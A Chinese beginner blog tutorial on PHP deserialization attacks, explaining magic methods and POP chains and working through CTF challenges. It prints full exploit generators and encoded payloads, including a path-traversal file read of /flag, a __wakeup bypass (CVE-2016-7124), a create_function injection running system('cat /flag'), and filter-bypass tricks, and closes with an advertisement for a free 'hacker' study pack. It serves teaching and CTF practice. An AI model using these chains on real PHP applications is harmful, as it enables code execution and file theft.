前言
这是大白给粉丝盆友们整理的网络安全渗透测试入门阶段反序列化渗透与防御第1篇。
本文主要讲解什么是PHP对象反序列化操作
喜欢的朋友们,记得给大白点赞支持和收藏一下,关注我,学习黑客技术。
PHP反序列化
简介
什么是反序列化?
反序列化是将数据从序列化的形式(通常是字节流、JSON、XML等格式)转换为原始数据结构或对象的过程。序列化和反序列化是在数据存储、数据传输和数据交换方面常见的概念。
序列化(Serialization)
:将对象或数据结构转换为可存储或传输的形式,通常是字节流或字符串。序列化的目的是将内存中的对象转换为可以持久化或传输的格式,以便在需要时能够还原为原始的对象。
反序列化(Deserialization)
:将序列化后的数据重新转换为原始的对象或数据结构。反序列化是序列化的逆过程,它从序列化的形式还原出原始的对象,以便在程序中使用。
常见的序列化格式包括:
1、JSON(JavaScript Object Notation)
:一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。
{"name": "John", "age": 30, "city": "New York"}
2、XML(eXtensible Markup Language)
:一种标记语言,用于存储和传输数据。
<person>
<name>John</name>
<age>30</age>
<city>New York</city>
</person>
3、pickle(Python 特有的序列化格式)
:Python 中的序列化模块,可以将 Python 对象序列化为二进制格式。
import pickle
data = {"name": "John", "age": 30, "city": "New York"}
serialized_data = pickle.dumps(data)
4、Protocol Buffers(protobuf)
:一种由 Google 开发的二进制序列化格式,用于高效地存储和交换结构化数据。
实例
serialize()
<?php
$sites = array('Google', 'Runoob', 'Facebook');
$serialized_data = serialize($sites);
echo $serialized_data;
?>
输出结果:
a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}
unserialize()
<?php
$str = 'a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
?>
输出结果为:
Array
(
[0] => Google
[1] => Runoob
[2] => Facebook
)
<?php
class TEST{
public $test1="11"; //公有的
private $test2="22"; //私有的
protected $test3="33"; //保护的
public function test4()
{
echo $this->test1;
}
}
$a=new TEST();
echo serialize($a);
O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:"TESTtest2";s:2:"22";s:8:"*test3";s:2:"33";}
public(公有):公有的类成员可以在**任何地方被访问,**属性被序列化的时候属性值会变成 属性名
protected(受保护):受保护的类成员则可以**被其自身以及其子类和父类访问,**属性被序列化的时候属性值会变成 \x00\*\x00属性名
private(私有):私有的类成员则**只能被其定义所在的类访问,**属性被序列化的时候属性值会变成 \x00类名\x00属性名
\x00表示空字符,占有一个字符位置
php序列化的字母标识
字母标识 | 数据类型 |
---|---|
a | array |
b | boolean |
d | double |
i | integer |
o | common object |
r | reference |
s | string |
C | custom object |
O | class |
N | pointer reference |
R | unicode string |
U | NULL |
php魔术方法
-
php类中包含了一些魔术方法,这些函数可以在代码中任何地方不用声明就可以使用
-
与PHP(反)序列化有关的魔术方法
-
反序列化魔术方法
方法 | 解释 |
---|---|
__construct() | 对象创建(new)时会自动调用 |
__destruct | 对象被销毁时触发 |
__wakeup() | 使用unserialize时触发 |
__sleep() | 使用serialize时触发 |
__call() | 在对象上下文中调用不可访问的方法时触发 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__get() | 用于从不可访问的属性读取数据 |
__set() | 用于将数据写入不可访问的属性 |
__isset() | 在不可访问的属性上调用isset()或empty()触发 |
__unset() | 在不可访问的属性上使用unset()时触发 |
__toString() | 把类当作字符串使用时触发 |
__invoke() | 当脚本尝试将对象调用为函数时触发 |
不可访问的两层含义:
-
不存在
-
无权限,例如private
技巧思路
-
首先找起始和结尾, 万能用的起始:
-
__wakeup() 完美的起始
-
__destruct() 完美的起始
-
通过反序列化可以给属性进行任意赋值,因此只要是属性,其值我们完全可控
-
首尾相连,找链式调用,注意不要被变量名骗了,一定要找到所有的可能性
-
本地构造序列化,反着写!哪个类是最后调用的就先new哪个类
反序列化的常见起点:
__wakeup 一定会调用 //使用unserialize时触发
__destruct 一定会调用 //对象被销毁时触发
__toString 当一个对象被反序列化后又被当做字符串使用
反序列化的常见中间跳板:
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
形如 $this-> $func();
反序列化的常见终点:
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里
例题:2022网鼎杯白虎组web(php反序列化)
<?php
class abaaba{
protected $DoNotGet;
//__get()用于从不可访问的属性读取数据
public function __get($name){ //3
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}
//__toString()把类当作字符串使用时触发
public function __toString(){ //4
return $this->Giveme;
}
}
class Onemore{
public $file;
private $filename = "one";
public function __construct(){
$this->readfile("images/def.jpg");
}
public function readfile($f){ //1、读取函数
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}
public function __invoke(){
return $this->filename->Giveme;
}
}
class suhasuha{
private $Giveme;
public $action;
//__set()用于将数据写入不可访问的属性
public function __set($name, $value){ //2、执行函数
$this->Giveme = ($this->action)();
return $this->Giveme;
}
}
class One{
public $count;
public function __construct(){
$this->count = "one";
}
public function __destruct(){
echo "try ".$this->count." again"; //5
}
}
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}
if(isset($_GET['game'])){
unserialize($_GET['game']);
}
else{
show_source(__FILE__);
}
源码分析
-
类 abaaba:
实现了 __get 方法,用于从不可访问的属性读取数据。
实现了 __toString 方法,当将类当作字符串使用时触发。 -
类 Onemore:
包含一个公共属性 $file 和一个私有属性 $filename。
在构造函数中调用了 readfile 方法,该方法接受一个参数并设置 $file 的值,然后调用 file_get_contents 读取文件内容。
实现了 __invoke 方法,允许将对象当作函数调用,返回私有属性 $filename 的属性 Giveme。 -
类 suhasuha:
包含私有属性 $Giveme 和公共属性 $action。
实现了 __set 方法,用于将数据写入不可访问的属性。在这里,它调用了 $action 的结果并将其赋值给 $Giveme。 -
类 One:
包含一个公共属性 $count。
在构造函数中设置 $count 的值。
实现了 __destruct 方法,在对象被销毁时输出一条信息。 -
全局函数 safe:
对传入的路径进行一系列操作,包括正则表达式替换和 HTML 转义,以确保路径的相对安全性。 -
全局代码:
通过 show_source(FILE) 显示当前文件的源代码。
如果存在 GET 参数 game,则执行 unserialize($_GET[‘game’]),存在反序列化漏洞的风险。
类Onemore的file变量可控,就可通过自定义函数中readfile中的file_get_contents函数来读取flag,问题是触发readfile执行函数?
在类suhasuha中,__set魔术方法存在$this->Giveme = ( $this->action)()
的函数调用,而action是该类的成员变量(可控的),将Onemore::readfile
函数传递给action
即可调用readfile
函数。问题是触发suhasuha类的__set方法?
在类abaaba的__get方法中存在 $ this->DoNotGet-> $ name = “two”
。对未定义的name赋值,及对一个未定义的属性进行赋值时会触发__set魔术方法,那么将DoNotGet赋值为new suhasuha()
,会触发该类的__set方法。如何触发类abaaba中的__get方法?同理类abaaba中的__toString方法中$this->Giveme访问了未定义的属性,则会触发类abaaba的__get方法。
而触发__toString方法需要将一个类作为字符串使用,可以找到在类One中析构方法__destruct存在echo “try”.$this->count.“again”
拼接字符串行为,那么将count赋值为new abaaba(),那么此处就会触发类abaaba中的tostring方法。
综上所述,正向攻击设置new One()–>count=new abaaba(),new abaaba()–>DoNotGet=new suhasuha(),new suhasuha()->action = [new Onemore(),”readfile”];
攻击执行流程为:new abaaba()->tostring->get->new suhasuha()->__set->new Onemore()->readfile。
最后注意safe
函数用%00
绕过。
payload
<?php
class abaaba{
protected $DoNotGet;
public function __get($name){
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}
public function __toString(){
return $this->Giveme;
}
public function __construct($obj){
$this->DoNotGet = $obj;
}
}
class Onemore{
public $file;
private $filename;
public function __construct(){
$this->readfile("images/def.jpg");
}
public function readfile($f){
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}
public function __invoke(){
return $this->filename->Giveme;
}
}
class suhasuha{
private $Giveme;
public $action;
public function __set($name, $value){
$this->Giveme = ($this->action)();
return $this->Giveme;
}
}
class One{
public $count;
public function __construct(){
$this->count = "one";
}
public function __destruct(){
echo "try ".$this->count." again";
}
}
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}
$one = new One();
$suhasuha = new suhasuha();
$one->count = new abaaba($suhasuha);
$Onemore = new Onemore();
$Onemore->file = urldecode("/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/flag");
$suhasuha->action = [$Onemore,"readfile"];
echo urlencode(serialize($one));
O%3A3%3A%22One%22%3A1%3A%7Bs%3A5%3A%22count%22%3BO%3A6%3A%22abaaba%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00DoNotGet%22%3BO%3A8%3A%22suhasuha%22%3A2%3A%7Bs%3A16%3A%22%00suhasuha%00Giveme%22%3BN%3Bs%3A6%3A%22action%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A7%3A%22Onemore%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A41%3A%22%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2Fflag%22%3Bs%3A17%3A%22%00Onemore%00filename%22%3BN%3B%7Di%3A1%3Bs%3A8%3A%22readfile%22%3B%7D%7D%7D%7D
构造序列化字符串时给属性任意赋值的三种方法
<?php
class Test {
public $name = 'test'; // 方法1:直接属性上赋值。缺点:只能赋值字符串/数组/数字等,不能赋值为一个对象
public $obj;
public $boi;
public function __construct($obj) {
$this->obj = $obj; // 方法2:构造方法赋值,可以任意赋值,万能!
}
}
$test = new Test("xxx");
$test->boi = "xxx"; // 方法3:外部赋值,可以赋值为任意类型。缺点:只能给public属性赋值,不能给protected/private属性赋值,不推荐
数组调用特性
在函数调用场景下进行任意类下方法执行
<?php
error_reporting(0);
class GetFlag
{
public $code;
public $action;
public function get_flag(){
echo "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}\n";
echo $this->code . $this->action;
}
}
// [new Object,“func”]() 会去调用Object对象的func方法
$g = new GetFlag();
$g->code = 'code';
$g->action = 'action';
[$g, 'get_flag'](); // 数组第⼀个元素是对象,第⼆个元素是⽅法名,就会调⽤该对象下该⽅法。
绕过wakeup(CVE-2016-7124)
<?php
error_reporting(0);
highlight_file(__FILE__);
class Test
{
public $cmd;
public function __wakeup()
{
$this->cmd = 'hahaha';
}
public function __destruct() {
echo $this->cmd;
system($this->cmd);
}
}
unserialize($_GET['a']);
绕过⽅法:序列化字符串中表示对象属性个数的值⼤于真实的属性个数时会跳过wakeup()
的执⾏。
<?php
class Test
{
public $cmd;
public function __construct(){
$this->cmd = 'whoami';
}
}
$a = new Test;
echo serialize($a);
输出:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
修改属性个数后:O:4:"Test":2:{s:3:"cmd";s:6:"whoami";}
绕过序列化字符串中关键字的过滤
利用十六进制绕过
将序列化字符串中的 s 改为 S ,具体的字符串值可以⽤ \ + ⼗六进制 的形式表⽰ ⽤处:绕过对序列化字符串的关键字的过滤
O:4:"Test":2:{s:3:"cmd";s:9:"cat /flag";s:4:"name";s:4:"john";}
O:4:"Test":2:{s:3:"cmd";s:9:"cat /flag";s:4:"name";S:4:"\6a\6f\68\6e";}
O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
O:4:"Test":1:{s:3:"cmd";S:6:"\77\68\6f\61\6d\69";}
利用引用绕过
指针问题
<?php
class test {
public $a;
public $b;
public function __construct(){
$this->a = 'aaa';
}
public function __destruct(){
if($this->a === $this->b) {
echo 'you success';
}
}
}
if(isset($_REQUEST['input'])) {
if(preg_match('/aaa/', $_REQUEST['input'])) {
die('nonono');
}
可以利⽤引⽤进⾏绕过
要$this->a 等于 $this->b ,那么就 $this->a = & $this->b;
<?php
class test {
public $a;
public $b;
public function __construct(){
$this->b = &$this->a;
}
}
$a = serialize(new test());
echo $a;
//O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}
构造引⽤使得 $b 和 $a 地址相同从⽽绕过检测,达成要求
绕过正则过滤对象字符串开头O:
如preg_match(‘/^O:\d+/’)匹配序列化字符串是否是对象字符串开头
绕过⽅法
-
利⽤加号绕过(注意在url⾥传参时+要编码为%2B)。
-
利⽤数组对象绕过,如 serialize(array( $a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素 的 $a的析构)。
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}
function match($data){
if (preg_match('/^O:\d+/',$data)){
die('nonono!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// 将对象放⼊数组绕过 serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
快速析构 Fast Destruct
快速析构:让__destruct()放在反序列化后⽴刻触发,而不要等脚本执行完成后的垃圾回收销毁对象才触发
作用:绕过对反序列化成功后得到的对象的属性值的检测。
两种方法:
-
修改属性个数
-
删除最后的⼤括号
__destruct()相关
__destruct()
是PHP对象的⼀个魔术⽅法,称为析构函数,顾名思义是当该对象被销毁的时候⾃动执⾏的⼀个函数。其中以下情况会触发__destruct()
-
主动调用
unset($obj)
-
主动调用
$obj = NULL
-
程序自动结束
除此之外,PHP还拥有垃圾回收Garbage collection即GC机制。
PHP中GC使用引用计数和回收周期⾃动管理内存对象,那么这时候当我们的对象变成了“垃圾”,就会被GC机制自动回收掉,回收过程中,就会调⽤函数的__destruct()
。
当⼀个对象没有任何引⽤的时候,则会被视为“垃圾”
test 对象被变量 a 引⽤, 所以该对象不是“垃圾”
$a = new test();
⽽如果是这样
new test();
或这样
$a = new test();$a = 1
这样在 test 在没有被引用或在失去引⽤时便会被当作“垃圾”进⾏回收。
<?php
class test{
function __construct($i)
{
$this->i = $i;
}
function __destruct()
{
echo $this->i."Destroy...\n";
}
}
new test('1');
$a = new test('2');
$a = new test('3');
echo "————————————<br/>";
输出
1Destroy...
2Destroy...
————————————
3Destroy...
绕过hash比较
使用 Error/Exception 内置类绕过哈希比较
Error 类
Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。
类摘要:
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
类属性:
-
message:错误消息内容
-
code:错误代码
-
file:抛出错误的文件名
-
line:抛出错误在该文件中的行数
类方法:
方法 | 解释 |
---|---|
Error::__construct | 初始化 error 对象 |
Error::getMessage | 获取错误信息 |
Error::getPrevious | 返回先前的 Throwable |
Error::getCode | 获取错误代码 |
Error::getFile | 获取错误发生时的文件 |
Error::getLine | 获取错误发生时的行号 |
Error::getTrace | 获取调用栈(stack trace) |
Error::getTraceAsString | 获取字符串形式的调用栈(stack trace) |
Error::__toString | error 的字符串表达 |
Error::__clone | 克隆 error |
Exception 类
Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。
类摘要:
Exception {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
类属性:
-
message:异常消息内容
-
code:异常代码
-
file:抛出异常的文件名
-
line:抛出异常在该文件中的行号
类方法:
方法 | 解释 |
---|---|
Exception::__construct | 异常构造函数 |
Exception::getMessage | 获取异常消息内容 |
Exception::getPrevious | 返回异常链中的前一个异常 |
Exception::getCode | 获取异常代码 |
Exception::getFile | 创建异常时的程序文件名称 |
Exception::getLine | 获取创建的异常所在文件中的行号 |
Exception::getTrace | 获取异常追踪信息 |
Exception::getTraceAsString | 获取字符串类型的异常追踪信息 |
Exception::__toString | 将异常对象转换为字符串 |
Exception::__clone | 异常克隆 |
我们可以看到,在Error和Exception这两个PHP原生类中内只有 __toString
方法,这个方法用于将异常或错误对象转换为字符串。
我们以Error为例,我们看看当触发他的 __toString
方法时会发生什么:
<?php
$a = new Error("payload",1);
echo $a;
输出如下:
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
发现这将会以字符串的形式输出当前报错,包含当前的错误信息(“payload”)以及当前报错的行号(“2”),而传入 Error("payload",1)
中的错误代码“1”则没有输出出来。
在来看看下一个例子:
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
输出如下:
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
可见,$a
和 $b
这两个错误对象本身是不同的,但 __toString
方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString
返回的数据包含当前行号。
Exception 类与 Error 的使用和结果完全一样,只不过 Exception
类适用于PHP 5和7,而 Error
只适用于 PHP 7。
Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用,具体请看下面这道例题。
[2020 极客大挑战]Greatphp
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
源代码解析:
类 SYCLOVER:
-
包含两个公共属性 $syc 和 $lover。
-
实现了 __wakeup 方法,该方法是 PHP 中的魔术方法,会在反序列化后立即调用。
-
__wakeup 方法中进行了一系列条件判断:
-
检查 $syc 和 $lover 是否不相等。
-
检查 $syc 和 $lover 的 MD5 散列值是否相等。
-
检查 $syc 和 $lover 的 SHA-1 散列值是否相等。
-
如果以上条件都满足,且 $ syc 中不包含 <php, (, ), ", ’ 这些敏感字符,就执行 eval($this->syc)。
-
如果 $syc 中包含敏感字符,则输出 “Try Hard !!” 并终止程序。
全局代码:
-
通过 highlight_file(FILE) 显示当前文件的源代码。
-
如果存在 GET 参数 great,则执行 unserialize($_GET[‘great’]),存在反序列化漏洞的风险。
安全防范:
-
通过 error_reporting(0) 关闭错误报告,以防止泄漏敏感信息。
-
在 __wakeup 方法中使用了一系列条件判断,对输入进行验证和过滤,防止恶意代码执行。
-
使用了 eval 函数执行反序列化后的代码,这是一个潜在的安全风险,因为 eval 允许执行任意代码。在生产环境中,最好避免使用 eval,而是使用更安全的替代方法。
解题
-
$a 和 $b 这两个对象本身是不同的,但 __toString 方法返回的结果是相同的,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。
-
Exception 类与 Error 的使用和结果完全一样。
-
将题目代码中的 $syc 和 $lover 分别声明为类似上面的内置类的对象,让这两个对象本身不同(传入的错误代码即可),但是 __toString 方法输出的结果相同即可
-
由于题目用preg_match过滤了小括号无法调用函数,所以尝试直接
include "/flag"
将flag包含进来即可;由于过滤了引号,直接用url取反绕过即可。
<?php
echo urlencode("/flag")
echo urlencode(~urldecode("%2f%66%6c%61%67"));
?>
输出
%d0%99%93%9e%98
~
按位取反运算符:对数据的每个二进制位取反,即把1变为0,把0变为1。~x 类似于 -x-1
<?php
$str1 = "./flag";
$s = urlencode(~$str1);
$str = "?><?=include~".urldecode($s)."?>";
$a = new Exception($str , 1); $b = new Exception($str , 2);
class SYCLOVER {
public $syc;
public $lover;
public function __construct($syc, $lover) {
$this->syc = $syc;
$this->lover = $lover;
}
}
$syc = new SYCLOVER($a, $b);
echo urlencode(serialize($syc));
一些例题
数组调⽤特性
解题payload:
<?php
error_reporting(0);
// highlight_file(__FILE__);
$pwd = getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __construct()
{
$this->key = serialize([new GetFlag, "get_flag"]);
}
}
class GetFlag
{
public $code;
public $action;
public function __construct()
{
$this->code = ";}system('cat /flag');//";
$this->action = "create_function";
}
}
$a = new func();
echo urlencode(serialize($a));
O%3A4%3A%22func%22%3A3%3A%7Bs%3A4%3A%22mod1%22%3BN%3Bs%3A4%3A%22mod2%22%3BN%3Bs%3A3%3A%22key%22%3Bs%3A126%3A%22a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22GetFlag%22%3A2%3A%7Bs%3A4%3A%22code%22%3Bs%3A24%3A%22%3B%7Dsystem%28%27cat+%2Fflag%27%29%3B%2F%2F%22%3Bs%3A6%3A%22action%22%3Bs%3A15%3A%22create_function%22%3B%7Di%3A1%3Bs%3A8%3A%22get_flag%22%3B%7D%22%3B%7D
利用create-function来执行命令的
如果可控在第一个参数,需要闭合圆括号和大括号:create_function('){}phpinfo();//', '');
如果可控在第二个参数,需要闭合大括号:create_function('', '}phpinfo();//');
create_function任意代码执行原理
绕过序列化字符串中关键字的过滤
<?php
class Test
{
public $cmd = 'cat /flag';
public $name = 'john';
}
function decorate($top, $niddle, $hexstring)
{
$arr = explode(':', $top);
for ($i = 0; $i < count($arr); $i++) {
if (strpos($arr[$i], $niddle) !== false) {
$arr[$i - 2] = preg_replace('/s/', 'S', $arr[$i - 2]);
$arr[$i] = str_replace($niddle, $hexstring, $arr[$i]);
}
}
return join(':', $arr);
}
echo decorate(serialize(new Test), "john", '\6a\6f\68\6e');
O:4:"Test":2:{s:3:"cmd";s:9:"cat /flag";s:4:"name";S:4:"\6a\6f\68\6e";}
绕过特定的某个关键字将序列化字符串中的 s 改为 S ,具体的字符串值可以用 \ + ⼗六进制的形式表示用处:绕过对序列化字符串的关键字的过滤。
快速析构 Fast Destruct
解题payload
<?php
class Test
{
public $cmd;
public $name;
public function __construct() {
$this->cmd = "cat /flag";
$this->name = "john";
}
}
$aa = new Test;
echo serialize($aa);
输出
O:4:"Test":2:{s:3:"cmd";s:9:"cat%20/flag";s:4:"name";s:4:"john";}
然后使用下面的方法进行快速析构:
让__destruct()放在反序列化后⽴刻触发,⽽不要等脚本执⾏完成后的垃圾回收销毁对象才触发
绕过对反序列化成功后得到的对象的属性值的检测。
两种⽅法:1. 修改掉属性个数 2. 删除最后的⼤括号
最终payload
O:4:"Test":3:{s:3:"cmd";s:9:"cat%20/flag";s:4:"name";s:4:"john";}
O:4:"Test":2:{s:3:"cmd";s:9:"cat%20/flag";s:4:"name";s:4:"john";
指针问题
<?php
class Seri{
public $alize;
public function __construct() {
$this->alize = new Alize();
$this->alize->t1 = &$this->alize->t2;
}
}
class Alize{
public $f = '/flag';
public $t1;
public $t2;
}
echo serialize(new Seri);
输出
O:4:"Seri":1:{s:5:"alize";O:5:"Alize":3:{s:1:"f";s:5:"/flag";s:2:"t1";N;s:2:"t2";R:4;}}
如果希望 $this->a 永远等于 $this->b ,那么就 $ this->a = &$this->b;
网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
282G《网络安全/黑客技术入门学习大礼包》,可以扫描下方二维码免费领取!
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
朋友们需要全套共282G的《网络安全/黑客技术入门学习大礼包》,可以扫描下方二维码免费领取!
END
特别声明:
此教程为纯技术分享!本书的目的绝不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!